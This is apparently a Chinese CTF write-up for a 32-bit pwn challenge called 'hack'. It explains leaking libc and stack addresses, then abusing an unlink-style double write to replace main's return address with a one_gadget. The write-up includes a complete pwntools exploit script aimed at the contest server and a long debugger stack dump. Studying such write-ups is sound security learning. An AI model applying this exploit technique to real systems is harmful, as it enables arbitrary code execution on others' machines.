2018高校安全运维赛

这次比赛一共三道pwn题,嗯,不出意外的一道都没搞出来orz

慢慢复现慢学吧,这解题数可以说是很真实了

1542371695483

而且发现近来的pwn题越来越喜欢跟web结合在一起了

先复现一道比赛结束后就搞出来的题目吧

hack

程序逻辑很简单,是个只开了nx保护的32位程序

  v3 = malloc(0x14u);
  buf = v3;
  v3[read(0, v3, 0xFu) - 1] = 0;
  v5 = atoll(buf);
  printf("%d, %p\n", v5, *v5);
  puts("Second chance: ");
  buf[read(0, buf, 0xFu) - 1] = 0;
  v6 = atoll(buf);
  printf("%d, %p\n", v6, *v6);
  v7 = malloc(0x14u);
  printf("The address of the node is %p, and you can input the fake node now: ", v7);
  read(0, v7, 0x10u);
  v8 = v7[3];
  v9 = v7[2];
  *(v8 + 8) = v9;
  *(v9 + 12) = v8;

首先两个任意地址输出,给你泄漏出libc和envc(栈地址)

接着告诉你一个堆的地址v7

然后输入0x16个字节到堆里面

接着进行两个地址写,这个看似是任意地址写,但实际上只能写got表和stack的地址,如果有其中一个地址写出错,程序会直接异常退出,从而无法进行其他操作

任意地址写的逻辑是:

*(v8 + 8) = v9;

*(v9 + 12) = v8;

其中v8和v9分别是堆的第三和第四项的内容

题目的关键点在于通过这个任意地址写,改变程序的执行流程,就是把栈中ret的地址给改成one gadget

exp如下

#encoding:utf-8
#!/upr/bin/env python
from pwn import *
context.log_level = "debug"
bin_elf = "./hack"
context.binary=bin_elf
elf = ELF(bin_elf)
libc = ELF("./libc6-i386_2.23.so")
#libc = elf.libc

if sys.argv[1] == "r":
    p = remote("210.32.4.16",13375)
elif sys.argv[1] == "l":
	p = process(bin_elf,env = {"LD_PRELOAD": "./libc6-i386_2.23.so"})
#-------------------------------------
def sl(s):
	return p.sendline(s)
def sd(s):
	return p.send(s)
def rc(timeout=0):
	if timeout == 0:
		return p.recv()
	else:
		return p.recv(timeout=timeout)
def ru(s, timeout=0):
	if timeout == 0:
		return p.recvuntil(s)
	else:
		return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
	return p.sendlineafter(a,s)
def sda(p,a,s):
	return p.sendafter(a,s)
def debug(addr=''):
    gdb.attach(p,'')

def getshell():
	p.interactive()
#-------------------------------------
puts_got = elf.got["puts"]
ru("input address: \n")
sl(str(puts_got))
ru(", ")
puts = int(p.recv(10),16)

lib_base = puts - libc.symbols["puts"]
one = lib_base + 0x3a819#0x5f066#0x5f065

print "lib_base--->"+hex(lib_base)
print "one--->"+hex(one),"-->",str(one)

debug()

environ_addr = lib_base + libc.symbols['_environ']
ru("Second chance: \n")
sl(str(environ_addr))
ru(", ")
stack = int(p.recv(10),16)
print "stack--->"+hex(stack)

ru("The address of the node is ")
heap = int(p.recv(9),16)
print "heap addres : "+hex(heap)

ret = stack - 0xb8

v8 = ret - 8
v9 = heap + 4
payload = p32(one) + p32(one) + p32(v9) + p32(v8)

ru("now: ")
pause()
sd(payload)
pause()
getshell()

怎么找这个ret在栈上的偏移呢,首先需要进行调试,一步步执行到read函数完成的地方(也就是此时正在准备进行任意地址写),如图

1542372683661

可以看到,进行任意地址写的时候,不涉及栈的操作,因此此时的栈结构是比较固定的:

0xffa9da40│+0x0000: 0x00000001	 ← $esp
0xffa9da44│+0x0004: 0x00000001
0xffa9da48│+0x0008: 0x0904d008  →  "4151586236"
0xffa9da4c│+0x000c: 0x0000000b
0xffa9da50│+0x0010: 0xf7742dbc  →  0xffa9db1c  →  0xffa9dfd1  →  "LD_PRELOAD=./libc6-i386_2.23.so"
0xffa9da54│+0x0014: 0x0904d020  →  0x61616161
0xffa9da58│+0x0018: 0xffa9da5c  →  0x0904d024  →  0x61616161
0xffa9da5c│+0x001c: 0x0904d024  →  0x61616161
0xffa9da60│+0x0020: 0xf77413dc  →  0xf77421e0  →  0x00000000
0xffa9da64│+0x0024: 0x0904d024  →  0x61616161//测试的时候发现,这里是ret的地址
0xffa9da68│+0x0028: 0x00000000	 ← $ebp
0xffa9da6c│+0x002c: 0xf75a9637  →  <__libc_start_main+247> add esp, 0x10
0xffa9da70│+0x0030: 0xf7741000  →  0x001afdb0
0xffa9da74│+0x0034: 0xf7741000  →  0x001afdb0
0xffa9da78│+0x0038: 0x00000000
0xffa9da7c│+0x003c: 0xf75a9637  →  <__libc_start_main+247> add esp, 0x10
0xffa9da80│+0x0040: 0x00000001
0xffa9da84│+0x0044: 0xffa9db14  →  0xffa9dfca  →  "./hack"
0xffa9da88│+0x0048: 0xffa9db1c  →  0xffa9dfd1  →  "LD_PRELOAD=./libc6-i386_2.23.so"
0xffa9da8c│+0x004c: 0x00000000
0xffa9da90│+0x0050: 0x00000000
0xffa9da94│+0x0054: 0x00000000
0xffa9da98│+0x0058: 0xf7741000  →  0x001afdb0
0xffa9da9c│+0x005c: 0xf776dc04  →  0x00000000
0xffa9daa0│+0x0060: 0xf776d000  →  0x00022f3c
0xffa9daa4│+0x0064: 0x00000000
0xffa9daa8│+0x0068: 0xf7741000  →  0x001afdb0
0xffa9daac│+0x006c: 0xf7741000  →  0x001afdb0
0xffa9dab0│+0x0070: 0x00000000
0xffa9dab4│+0x0074: 0x5c2439fb
0xffa9dab8│+0x0078: 0xbabad7ea
0xffa9dabc│+0x007c: 0x00000000
0xffa9dac0│+0x0080: 0x00000000
0xffa9dac4│+0x0084: 0x00000000
0xffa9dac8│+0x0088: 0x00000001
0xffa9dacc│+0x008c: 0x08048450  →  <_start+0> xor ebp, ebp
0xffa9dad0│+0x0090: 0x00000000
0xffa9dad4│+0x0094: 0xf775eff0  →   pop edx
0xffa9dad8│+0x0098: 0xf7759880  →   push ebp
0xffa9dadc│+0x009c: 0xf776d000  →  0x00022f3c
0xffa9dae0│+0x00a0: 0x00000001
0xffa9dae4│+0x00a4: 0x08048450  →  <_start+0> xor ebp, ebp
0xffa9dae8│+0x00a8: 0x00000000
0xffa9daec│+0x00ac: 0x08048471  →  <_start+33> hlt 
0xffa9daf0│+0x00b0: 0x0804857c  →  <main+0> lea ecx, [esp+0x4]
0xffa9daf4│+0x00b4: 0x00000001
0xffa9daf8│+0x00b8: 0xffa9db14  →  0xffa9dfca  →  "./hack"
0xffa9dafc│+0x00bc: 0x08048710  →  <__libc_csu_init+0> push ebp
0xffa9db00│+0x00c0: 0x08048770  →  <__libc_csu_fini+0> repz ret
0xffa9db04│+0x00c4: 0xf7759880  →   push ebp
0xffa9db08│+0x00c8: 0xffa9db0c  →  0xf776d918  →  0x00000000
0xffa9db0c│+0x00cc: 0xf776d918  →  0x00000000
0xffa9db10│+0x00d0: 0x00000001
0xffa9db14│+0x00d4: 0xffa9dfca  →  "./hack"
0xffa9db18│+0x00d8: 0x00000000
0xffa9db1c│+0x00dc: 0xffa9dfd1  →  "LD_PRELOAD=./libc6-i386_2.23.so"//泄漏的栈地址
0xffa9db20│+0x00e0: 0x00000000
0xffa9db24│+0x00e4: 0x00000020
0xffa9db28│+0x00e8: 0xf7748c80  →  <__kernel_vsyscall+0> push ecx
0xffa9db2c│+0x00ec: 0x00000021 ("!"?)
0xffa9db30│+0x00f0: 0xf7748000  →  0x464c457f
0xffa9db34│+0x00f4: 0x00000010
0xffa9db38│+0x00f8: 0x1f8bfbff
0xffa9db3c│+0x00fc: 0x00000006
0xffa9db40│+0x0100: 0x00001000
0xffa9db44│+0x0104: 0x00000011
0xffa9db48│+0x0108: 0x00000064 ("d"?)
0xffa9db4c│+0x010c: 0x00000003
0xffa9db50│+0x0110: 0x08048034  →   push es
0xffa9db54│+0x0114: 0x00000004
0xffa9db58│+0x0118: 0x00000020
0xffa9db5c│+0x011c: 0x00000005
0xffa9db60│+0x0120: 0x00000009
0xffa9db64│+0x0124: 0x00000007
0xffa9db68│+0x0128: 0xf774a000  →  0x464c457f
0xffa9db6c│+0x012c: 0x00000008
0xffa9db70│+0x0130: 0x00000000
0xffa9db74│+0x0134: 0x00000009
0xffa9db78│+0x0138: 0x08048450  →  <_start+0> xor ebp, ebp
0xffa9db7c│+0x013c: 0x0000000b
0xffa9db80│+0x0140: 0x000003e8
0xffa9db84│+0x0144: 0x0000000c
0xffa9db88│+0x0148: 0x000003e8
0xffa9db8c│+0x014c: 0x0000000d
0xffa9db90│+0x0150: 0x000003e8
0xffa9db94│+0x0154: 0x0000000e
0xffa9db98│+0x0158: 0x000003e8
0xffa9db9c│+0x015c: 0x00000017
0xffa9dba0│+0x0160: 0x00000000
0xffa9dba4│+0x0164: 0x00000019
0xffa9dba8│+0x0168: 0xffa9dbcb  →  0x35c82286
0xffa9dbac│+0x016c: 0x0000001f
0xffa9dbb0│+0x0170: 0xffa9dff1  →  "./hack"
0xffa9dbb4│+0x0174: 0x0000000f
0xffa9dbb8│+0x0178: 0xffa9dbdb  →  "i686"
0xffa9dbbc│+0x017c: 0x00000000
0xffa9dbc0│+0x0180: 0x00000000
0xffa9dbc4│+0x0184: 0x00000000
0xffa9dbc8│+0x0188: 0x86000000
0xffa9dbcc│+0x018c: 0x9c35c822

。。。。。。。。。。。。。。。。。。

1542374037665

测试的时候可以看到,在执行完任意地址写后,main函数开始返回退出的时候,ret的地址实际上是ebp-4

测试的时候可以根据eip的值和栈的布局变化慢慢看出来